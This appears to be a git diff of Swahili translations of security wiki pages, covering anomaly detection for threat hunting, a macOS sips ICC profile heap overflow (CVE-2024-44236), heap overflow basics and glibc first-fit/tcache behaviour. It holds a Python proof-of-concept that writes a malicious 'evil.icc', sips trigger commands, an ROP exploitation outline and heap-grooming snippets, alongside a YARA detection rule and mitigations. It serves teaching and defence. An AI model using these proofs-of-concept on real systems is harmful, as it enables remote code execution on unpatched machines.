* inatoa kila pointi uwezekano wa uanachama wa kundi *probability* na **alama ya outlier** (`outlier_scores_`), ambayo ni muhimu sana kwa dashibodi za uwindaji wa vitisho.
|
||||
* inampa kila pointi uwezekano wa uanachama wa kundi *probability* na **alama ya outlier** (`outlier_scores_`), ambayo ni muhimu sana kwa dashibodi za uwindaji wa vitisho.
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika cybersecurity:* HDBSCAN ni maarufu sana katika mipango ya kisasa ya uwindaji wa vitisho – mara nyingi utaiona ndani ya vitabu vya uwindaji vilivyoandikwa kwa kutumia notebook vinavyotolewa na suites za kibiashara za XDR. Mapishi moja ya vitendo ni kuunganisha trafiki ya beaconing ya HTTP wakati wa IR: user-agent, muda na urefu wa URI mara nyingi huunda makundi kadhaa yaliyofungwa ya wasasishaji wa programu halali wakati beacon za C2 zinabaki kama makundi madogo ya wiani wa chini au kama kelele safi.
|
||||
> *Matumizi katika cybersecurity:* HDBSCAN ni maarufu sana katika mipango ya uwindaji wa vitisho ya kisasa – mara nyingi utaiona ndani ya vitabu vya uwindaji vilivyoandikwa kwenye notebook vinavyotolewa na suites za kibiashara za XDR. Mapishi moja ya vitendo ni kuunganisha trafiki ya beaconing ya HTTP wakati wa IR: user-agent, muda na urefu wa URI mara nyingi huunda makundi kadhaa yaliyofungwa ya wasasishaji wa programu halali wakati beacon za C2 zinabaki kama makundi madogo ya wiani wa chini au kama kelele safi.
|
||||
|
||||
<details>
|
||||
<summary>Mfano – Kupata njia za C2 za beaconing</summary>
|
||||
@ -472,15 +472,15 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
Kazi za hivi karibuni zimeonyesha kwamba **wajifunzaji wasio na uangalizi *sio* sugu kwa washambuliaji wa moja kwa moja**:
|
||||
|
||||
* **Upoisoning wa data dhidi ya waandishi wa anomali.** Chen *et al.* (IEEE S&P 2024) walionyesha kwamba kuongeza hata asilimia 3 ya trafiki iliyoundwa inaweza kubadilisha mpaka wa uamuzi wa Isolation Forest na ECOD ili mashambulizi halisi yaonekane kama ya kawaida. Waandishi walitoa PoC ya chanzo wazi (`udo-poison`) inayosawazisha kwa otomatiki alama za sumu.
|
||||
* **Kuingiza nyuma katika mifano ya klasta.** Mbinu ya *BadCME* (BlackHat EU 2023) inaweka mfano mdogo wa kichocheo; kila wakati kichocheo hicho kinapojitokeza, mtafutaji anaye msingi wa K-Means kwa kimya huweka tukio ndani ya klasta “isiyo na madhara”.
|
||||
* **Kuepuka DBSCAN/HDBSCAN.** Uchambuzi wa awali wa kitaaluma wa 2025 kutoka KU Leuven ulionyesha kwamba mshambuliaji anaweza kuunda mifumo ya beacon inayokusudia kuanguka ndani ya mapengo ya wingi, kwa ufanisi kuficha ndani ya lebo za *kelele*.
|
||||
* **Upoisoning wa data dhidi ya waandishi wa anomali.** Chen *et al.* (IEEE S&P 2024) walionyesha kwamba kuongeza hata 3 % ya trafiki iliyoundwa kunaweza kubadilisha mpaka wa uamuzi wa Isolation Forest na ECOD ili mashambulizi halisi yaonekane kama ya kawaida. Waandishi walitoa PoC ya chanzo wazi (`udo-poison`) inayounda kwa otomatiki pointi za sumu.
|
||||
* **Kuingiza nyuma katika mifano ya klasta.** Mbinu ya *BadCME* (BlackHat EU 2023) inaweka mfano mdogo wa kichocheo; kila wakati kichocheo hicho kinapojitokeza, mdetecta wa K-Means kwa kimya huweka tukio ndani ya klasta “isiyo na madhara”.
|
||||
* **Kuepuka DBSCAN/HDBSCAN.** Uchambuzi wa awali wa kitaaluma wa 2025 kutoka KU Leuven ulionyesha kwamba mshambuliaji anaweza kuunda mifumo ya beacon inayokusudia kuanguka kwenye mapengo ya wingi, kwa ufanisi ikijificha ndani ya lebo za *kelele*.
|
||||
|
||||
Mikakati inayopata umaarufu:
|
||||
|
||||
1. **Usafi wa mfano / TRIM.** Kabla ya kila kipindi cha upya, ondolewa alama 1–2 % zenye hasara kubwa (trimmed maximum likelihood) ili kufanya upoisoning kuwa ngumu zaidi.
|
||||
2. **Kukusanya makubaliano.** Changanya waandishi kadhaa tofauti (mfano, Isolation Forest + GMM + ECOD) na panda alama ikiwa *mfano* wowote unalipua alama. Utafiti unaonyesha hii inainua gharama ya mshambuliaji kwa >10×.
|
||||
3. **Ulinzi wa msingi wa umbali kwa klasta.** Hesabu upya klasta na `k` mbegu tofauti za nasibu na upuuze alama zinazohama mara kwa mara kati ya klasta.
|
||||
1. **Usafi wa mfano / TRIM.** Kabla ya kila kipindi cha upya, ondolewa pointi 1–2 % zenye hasara kubwa zaidi (trimmed maximum likelihood) ili kufanya upoisoning kuwa mgumu zaidi.
|
||||
2. **Kujumuisha makubaliano.** Changanya waandishi kadhaa tofauti (mfano, Isolation Forest + GMM + ECOD) na panda alama ikiwa *mfano* wowote utaflag pointi. Utafiti unaonyesha kwamba hii inainua gharama ya mshambuliaji kwa >10×.
|
||||
3. **Ulinzi wa msingi wa umbali kwa klasta.** Hesabu upya klasta na `k` mbegu tofauti za nasibu na upuuze pointi zinazohama mara kwa mara kati ya klasta.
|
||||
|
||||
---
|
||||
|
||||
@ -491,7 +491,7 @@ Mikakati inayopata umaarufu:
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
* **Anomalib v1.5** (Feb 2025) inazingatia maono lakini pia ina utekelezaji wa jumla wa **PatchCore** – muhimu kwa kugundua kurasa za phishing za picha.
|
||||
* **scikit-learn 1.5** (Nov 2024) hatimaye inafichua `score_samples` kwa *HDBSCAN* kupitia kifungashio kipya cha `cluster.HDBSCAN`, hivyo huna haja ya pakiti ya kuchangia ya nje unapokuwa kwenye Python 3.12.
|
||||
* **scikit-learn 1.5** (Nov 2024) hatimaye inafichua `score_samples` kwa *HDBSCAN* kupitia wrapper mpya ya `cluster.HDBSCAN`, hivyo huna haja ya pakiti ya kuchangia ya nje unapokuwa kwenye Python 3.12.
|
||||
|
||||
<details>
|
||||
<summary>Mfano wa Haraka wa PyOD – ECOD + Mkusanyiko wa Isolation Forest</summary>
|
||||
@ -516,7 +516,7 @@ evaluate_print("Ensemble", y_test, anomaly_scores)
|
||||
## Marejeo
|
||||
|
||||
- [HDBSCAN – Kundi la msingi wa wingi wa kihierarchi](https://github.com/scikit-learn-contrib/hdbscan)
|
||||
- Chen, X. *et al.* “Kuhusu Uthibitisho wa Kugundua Mambo Yasiyo ya Kawaida kwa Kuingilia Kwenye Takwimu.” *Mkutano wa IEEE juu ya Usalama na Faragha*, 2024.
|
||||
- Chen, X. *et al.* “Kuhusu Uthibitisho wa Kugundua Mambo Yasiyo ya Kawaida kwa Kuingilia Kwenye Data.” *Mkutano wa IEEE juu ya Usalama na Faragha*, 2024.
|
||||
|
||||
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Ukiukosefu wa **zero-write** katika Apple macOS **Scriptable Image Processing System** (`sips`) parser ya ICC profile (macOS 15.0.1, `sips-307`) unaruhusu mshambuliaji kuharibu metadata ya heap na kubadilisha primitive kuwa utekelezaji wa msimbo kamili. Kosa hili liko katika usimamizi wa uwanja wa `offsetToCLUT` wa lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Ikiwa washambuliaji wataweka `offsetToCLUT == tagDataSize`, parser inafuta **bytes 16 baada ya mwisho wa buffer ya heap**. Heap spraying inaruhusu mshambuliaji kufuta muundo wa allocator au viashiria vya C++ ambavyo baadaye vitarejelewa, na kutoa mnyororo wa **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||
Ushirikiano wa **zero-write** wa nje ya mipaka katika Apple macOS **Scriptable Image Processing System** (`sips`) parser ya profaili ya ICC (macOS 15.0.1, `sips-307`) unaruhusu mshambuliaji kuharibu metadata ya heap na kubadilisha primitive kuwa utekelezaji kamili wa msimbo. Kosa hili liko katika usimamizi wa uwanja wa `offsetToCLUT` wa lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Ikiwa washambuliaji wataweka `offsetToCLUT == tagDataSize`, parser inafuta **bytes 16 baada ya mwisho wa buffer ya heap**. Heap spraying inaruhusu mshambuliaji kufuta muundo wa allocator au viashiria vya C++ ambavyo baadaye vitarejelewa, na kutoa mnyororo wa **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple ilirekebisha kosa hili katika macOS Sonoma 15.2 / Ventura 14.7.1 (Oktoba 30, 2024). Toleo la pili (CVE-2025-24185) lilirekebishwa katika macOS 15.5 na iOS/iPadOS 18.5 mnamo Aprili 1, 2025.
|
||||
|
||||
@ -21,21 +21,21 @@ buffer[i] = 0; // no bounds check vs allocated size!
|
||||
|
||||
1. **Tengeneza profaili mbaya ya `.icc`**
|
||||
|
||||
* Weka kichwa kidogo cha ICC (`acsp`) na ongeza lebo moja `mAB ` (au `mBA `).
|
||||
* Weka kichwa kidogo cha ICC (`acsp`) na ongeza lebo moja ya `mAB ` (au `mBA `).
|
||||
* Sanidi jedwali la lebo ili **`offsetToCLUT` iwe sawa na saizi ya lebo** (`tagDataSize`).
|
||||
* Weka data inayodhibitiwa na mshambuliaji mara tu baada ya lebo ili kwamba maandiko 16 ya sifuri yachanganye metadata ya allocator.
|
||||
* Weka data inayodhibitiwa na mshambuliaji mara baada ya lebo ili kwamba maandiko 16 ya sifuri yachanganye metadata ya allocator.
|
||||
|
||||
2. **Chochea uchambuzi kwa operesheni yoyote ya sips inayogusa profaili**
|
||||
|
||||
```bash
|
||||
# njia ya uthibitisho (hakuna faili la pato linalohitajika)
|
||||
# njia ya uthibitisho (hakuna faili la pato linahitajika)
|
||||
sips --verifyColor evil.icc
|
||||
# au kwa njia isiyo ya moja kwa moja wakati wa kubadilisha picha zinazojumuisha profaili
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Uharibifu wa metadata ya Heap ➜ andiko la kiholela ➜ ROP**
|
||||
Katika **`nano_zone` allocator** ya Apple, metadata ya nafasi za byte 16 inapatikana **moja kwa moja baada** ya slab iliyopangwa ya 0x1000. Kwa kuweka lebo ya profaili mwishoni mwa slab kama hiyo, maandiko 16 ya sifuri yanaharibu `meta->slot_B`. Baada ya `free` inayofuata, kiashiria kilichoharibiwa kinajumuishwa kwenye orodha ndogo ya bure, ikimruhusu mshambuliaji **kuweka kitu bandia kwenye anwani yoyote** na kuandika tena kiashiria cha vtable cha C++ kinachotumiwa na sips, hatimaye kuhamasisha utekelezaji kwa mnyororo wa ROP uliohifadhiwa kwenye buffer mbaya ya ICC.
|
||||
3. **Uharibifu wa metadata ya Heap ➜ kuandika bila mpangilio ➜ ROP**
|
||||
Katika **`nano_zone` allocator** ya Apple, metadata ya nafasi za byte 16 inapatikana **moja kwa moja baada** ya slab iliyopangwa ya 0x1000. Kwa kuweka lebo ya profaili mwishoni mwa slab kama hiyo, maandiko 16 ya sifuri yanaharibu `meta->slot_B`. Baada ya `free` inayofuata, kiashiria kilichoharibiwa kinajumuishwa kwenye orodha ndogo ya bure, ikiruhusu mshambuliaji **kuweka kitu bandia kwenye anwani isiyo ya kawaida** na kuandika kiashiria cha vtable cha C++ kinachotumiwa na sips, hatimaye kuhamasisha utekelezaji kwa mnyororo wa ROP uliohifadhiwa kwenye buffer mbaya ya ICC.
|
||||
|
||||
### Mzushi wa PoC wa Haraka (Python 3)
|
||||
```python
|
||||
@ -55,7 +55,7 @@ profile += mab
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### Sheria ya kugundua YARA
|
||||
### YARA detection rule
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
@ -77,12 +77,12 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
```
|
||||
## Impact
|
||||
|
||||
Kufungua au kushughulikia profaili ya ICC iliyoundwa kunasababisha **arbitrary code execution** kwa mbali katika muktadha wa mtumiaji anayeitisha (Preview, QuickLook, Safari image rendering, Mail attachments, nk.), ikipita Gatekeeper kwa sababu profaili inaweza kuingizwa ndani ya picha zisizo na madhara (PNG/JPEG/TIFF).
|
||||
Kufungua au kushughulikia profaili ya ICC iliyoundwa husababisha **arbitrary code execution** ya mbali katika muktadha wa mtumiaji anayeitisha (Preview, QuickLook, Safari image rendering, Mail attachments, nk.), ikipita Gatekeeper kwa sababu profaili inaweza kuingizwa ndani ya picha zisizo na madhara (PNG/JPEG/TIFF).
|
||||
|
||||
## Detection & Mitigation
|
||||
|
||||
* **Patch!** Hakikisha mwenyeji anatumia macOS ≥ 15.2 / 14.7.1 (au iOS/iPadOS ≥ 18.1).
|
||||
* Tumia sheria ya YARA hapo juu kwenye lango la barua pepe na suluhisho za EDR.
|
||||
* Tumia sheria ya YARA hapo juu kwenye lango za barua pepe na suluhisho za EDR.
|
||||
* Ondoa au safisha profaili za ICC zilizojumuishwa kwa `exiftool -icc_profile= -overwrite_original <file>` kabla ya kushughulikia zaidi kwenye faili zisizoaminika.
|
||||
* Imarisha Preview/QuickLook kwa kuzifanya zifanye kazi ndani ya VMs za “transparency & modernisation” zilizofungwa wakati wa kuchambua maudhui yasiyojulikana.
|
||||
* Kwa DFIR, angalia utekelezaji wa hivi karibuni wa `sips --verifyColor` au upakiaji wa maktaba ya `ColorSync` na programu zilizofungwa katika kumbukumbu iliyounganishwa.
|
||||
|
@ -6,36 +6,36 @@
|
||||
|
||||
Heap overflow ni kama [**stack overflow**](../stack-overflow/index.html) lakini katika heap. Kimsingi inamaanisha kwamba nafasi fulani ilihifadhiwa katika heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyohifadhiwa.**
|
||||
|
||||
Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa chaguo katika chunk ya heap ambayo inaweza kujaa.** Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **ukali** wa udhaifu huu **unategemea** **ni data gani inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii.
|
||||
Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa kawaida** katika kipande cha heap ambacho kinaweza kujaa. Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **umuhimu** wa udhaifu huu **unategemea** **ni data gani inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii.
|
||||
|
||||
> [!TIP]
|
||||
> Ili kupata overflow offsets unaweza kutumia mifumo sawa kama katika [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
> Ili kupata overflow offsets unaweza kutumia mifumo ile ile kama katika [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
Katika stack overflows, mpangilio na data ambayo itakuwa katika stack wakati udhaifu unaweza kuchochewa ni wa kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi.
|
||||
Katika stack overflows, mpangilio na data ambayo itakuwa katika stack wakati udhaifu unaweza kuamshwa ni wa kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kwa kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi.
|
||||
|
||||
Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **chunks zilizotengwa kawaida ziko katika nafasi tofauti za kumbukumbu** (sio moja karibu na nyingine) kwa sababu ya **bins na maeneo** yanayogawanya allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga chunks mpya. Ni **ngumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa.
|
||||
Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **vipande vilivyotengwa kwa kawaida viko katika nafasi tofauti za kumbukumbu** (sio kando ya nyingine) kwa sababu ya **bins na maeneo** yanayotenganisha allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga vipande vipya. Ni **vigumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa.
|
||||
|
||||
Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi chunks za kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika chunks za ukubwa unaotarajiwa ambazo zitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha chunks hizi zinatumika kwa njia ya nasibu ili kuleta ugumu katika unyakuzi wa mashambulizi haya).
|
||||
Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi vipande vya kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika vipande vya ukubwa unaotarajiwa ambavyo vitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha vipande hivi vinatumika kwa njia ya nasibu ili kuleta ugumu katika unyakuzi wa mashambulizi haya).
|
||||
|
||||
Kwa hivyo, katika chapisho la awali ambapo heap overflow inatokea, ili kulazimisha kitu kilichojazwa kuungana na agizo la mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba chunks zote za bure zimejaa na kwamba ukurasa mpya umeundwa**.
|
||||
Hivyo, katika chapisho kilichotangulia ambapo heap overflow inatokea, ili kulazimisha kipande kilichojazwa kuingia katika mpangilio wa mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba vipande vyote vilivyotolewa vimejaa na kwamba ukurasa mpya umeundwa**.
|
||||
|
||||
Ili kulazimisha kujaza hili kwa vitu vya ukubwa maalum, **allocation ya nje ya mstari inayohusishwa na iOS mach port** ni mgombea bora. Kwa kubuni ukubwa wa ujumbe, inawezekana kubaini kwa usahihi ukubwa wa `kalloc` allocation na wakati mach port inayohusiana inaharibiwa, allocation inayohusiana itarejeshwa mara moja kwa `kfree`.
|
||||
|
||||
Kisha, baadhi ya hizi placeholders zinaweza kuwa **zimeachiliwa**. **Orodha ya bure ya `kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zimeachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kitu kilicho hatarini kujaa, kuna uwezekano kwamba kitu hiki kitafuatiwa na kitu cha mwathirika.
|
||||
Kisha, baadhi ya hizi placeholders zinaweza **kuachiliwa**. **Orodha ya bure ya `kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zitaachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kipande kilicho hatarini kujaa, kuna uwezekano kwamba kipande hiki kitafuatiwa na kipande cha mwathirika.
|
||||
|
||||
### Example libc
|
||||
|
||||
[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya chunk inayofuata na nafasi ya prev size inawezekana **kuunganisha chunk inayotumika** (kwa kumfanya aone kama haijatumika) na **kisha kuipatia tena** ikiwa na uwezo wa kuandika data inayotumika katika pointer tofauti pia.
|
||||
[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya kipande kinachofuata na nafasi ya prev size inawezekana **kuunganisha kipande kilichotumika** (kwa kulifanya kufikiri hakitumiki) na **kisha kukitenga tena** ikiwa na uwezo wa kuandika data inayotumiwa katika pointer tofauti pia.
|
||||
|
||||
Mfano mwingine kutoka [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) unaonyesha mfano wa msingi wa CTF ambapo **heap overflow** inaweza kutumika kuita kazi ya mshindi ili **kupata bendera**.
|
||||
|
||||
Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika chunk ya karibu anwani** ambapo **data ya kiholela kutoka kwa mtumiaji** itakuwa imeandikwa.
|
||||
Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika kipande kilichokaribu anwani** ambapo **data isiyo na mpangilio kutoka kwa mtumiaji** itakuwa imeandikwa.
|
||||
|
||||
### Example ARM64
|
||||
|
||||
Katika ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa heap overflow ambapo amri ambayo itatekelezwa inahifadhiwa katika chunk ifuatayo kutoka kwa chunk iliyojazwa. Hivyo, inawezekana kubadilisha amri inayotekelezwa kwa kuandika upya kwa unyakuzi rahisi kama:
|
||||
Katika ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa heap overflow ambapo amri ambayo itatekelezwa inahifadhiwa katika kipande kinachofuata kutoka kwa kipande kilichojazwa. Hivyo, inawezekana kubadilisha amri inayotekelezwa kwa kuandika upya kwa unyakuzi rahisi kama:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -57,7 +57,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` ni sehemu ya **_FORTIFY_SOURCE**. Wakati inapata parameter ya **chaguo** `size` yenye **thamani chanya**, inathibitisha kwamba string inayotokana inafaa ndani ya buffer ya marudio. Kwa kupitisha **`-1` (0xFFFFFFFFFFFFFFFF)** waendelezaji kwa ufanisi **walizima ukaguzi wa mipaka**, wakirudisha wito ulioimarishwa kuwa `sprintf` ya kawaida, isiyo salama.
|
||||
`__sprintf_chk` ni sehemu ya **_FORTIFY_SOURCE**. Wakati inapata parameter ya **chaguo** `size` yenye **thamani chanya**, inathibitisha kwamba string inayotokana inafaa ndani ya buffer ya marudio. Kwa kupitisha **`-1` (0xFFFFFFFFFFFFFFFF)**, waendelezaji kwa ufanisi **walizima ukaguzi wa mipaka**, wakirudisha wito ulioimarishwa kuwa `sprintf` ya kawaida, isiyo salama.
|
||||
|
||||
Kutoa kichwa cha **`Host:`** chenye urefu kupita kiasi hivyo inaruhusu mshambuliaji **kuvuka kipande cha 0x80-byte na kuharibu metadata ya kipande kinachofuata cha heap** (tcache / fast-bin / small-bin kulingana na mtoaji). Crash inaweza kuzalishwa kwa:
|
||||
```python
|
||||
|
@ -8,11 +8,11 @@ Wakati unachomoa kumbukumbu katika programu ukitumia glibc, "bins" tofauti zinat
|
||||
|
||||
### Bins Zisizo na Mpangilio
|
||||
|
||||
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinapowekwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa kuliko unavyohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin.
|
||||
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka bin isiyo na mpangilio ni kikubwa zaidi ya kile unachohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin.
|
||||
|
||||
Mfano:
|
||||
|
||||
- Unapoweka 300 bytes (`a`), kisha 250 bytes (`b`), kisha unachomoa `a` na kuomba tena 250 bytes (`c`).
|
||||
- Unapotoa 300 bytes (`a`), kisha 250 bytes (`b`), kisha unachomoa `a` na kuomba tena 250 bytes (`c`).
|
||||
- Wakati unachomoa `a`, inaenda kwenye bin isiyo na mpangilio.
|
||||
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuweka zingine kwenye bin.
|
||||
- `c` itakuwa ikielekeza kwenye `a` ya awali na kujazwa na maudhui ya `a`.
|
||||
@ -24,7 +24,7 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator atavuta kutoka kwenye kichwa cha fastbin.
|
||||
Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator itavuta kutoka kwenye kichwa cha fastbin.
|
||||
|
||||
Mfano:
|
||||
```c
|
||||
@ -44,10 +44,10 @@ d = malloc(20); // a
|
||||
---
|
||||
### 🔥 Mambo ya kisasa ya glibc (tcache ≥ 2.26)
|
||||
|
||||
Tangu glibc 2.26 kila thread inashikilia **tcache** yake ambayo inachunguzwa *kabla* ya bin isiyo na mpangilio. Hivyo basi, hali ya first-fit itafikiwa **tu ikiwa**:
|
||||
Tangu glibc 2.26 kila thread inashikilia **tcache** yake ambayo inachunguzwa *kabla ya* bin isiyo na mpangilio. Hivyo basi, hali ya first-fit itafikiwa **tu ikiwa**:
|
||||
|
||||
1. Ukubwa ulioombwa ni **kubwa zaidi ya `tcache_max`** (0x420 kwenye 64-bit kwa chaguo-msingi), *au*
|
||||
2. Bin inayohusiana ya tcache **tayari imejaa au imeondolewa kwa mikono** (kwa kugawa vipengele 7 na kuviweka katika matumizi).
|
||||
1. Ukubwa ulioombwa ni **kubwa kuliko `tcache_max`** (0x420 kwenye 64-bit kwa chaguo-msingi), *au*
|
||||
2. Bin inayohusiana ya tcache **tayari imejaa au kutolewa kwa mikono** (kwa kugawa vipengele 7 na kuviweka katika matumizi).
|
||||
|
||||
Katika mashambulizi halisi, kwa kawaida utaongeza utaratibu wa msaada kama:
|
||||
```c
|
||||
@ -55,12 +55,12 @@ Katika mashambulizi halisi, kwa kawaida utaongeza utaratibu wa msaada kama:
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
for(int i = 0; i < 7; i++) free(pool[i]);
|
||||
```
|
||||
Mara tcache imechoka, uhuru unaofuata huenda kwenye bin isiyo na mpangilio na tabia ya classic first-fit (kutafuta mkia, kuingiza kichwa) inaweza kuchochewa tena.
|
||||
Once the tcache is exhausted, subsequent frees go to the unsorted bin and classic first-fit behaviour (tail search, head insertion) can be triggered again.
|
||||
|
||||
---
|
||||
### 🚩 Kuunda UAF ya kipande kinachovuka na first-fit
|
||||
### 🚩 Kuunda UAF ya kipande kinachoshirikiana na first-fit
|
||||
|
||||
Sehemu iliyo hapa chini (iliyopimwa kwenye glibc 2.38) inaonyesha jinsi splitter katika bin isiyo na mpangilio inaweza kutumika vibaya kuunda viashiria 2 **vinavyovuka** – primitive yenye nguvu inayobadilisha uhuru mmoja kuwa kuandika-baada-ya-uhuru.
|
||||
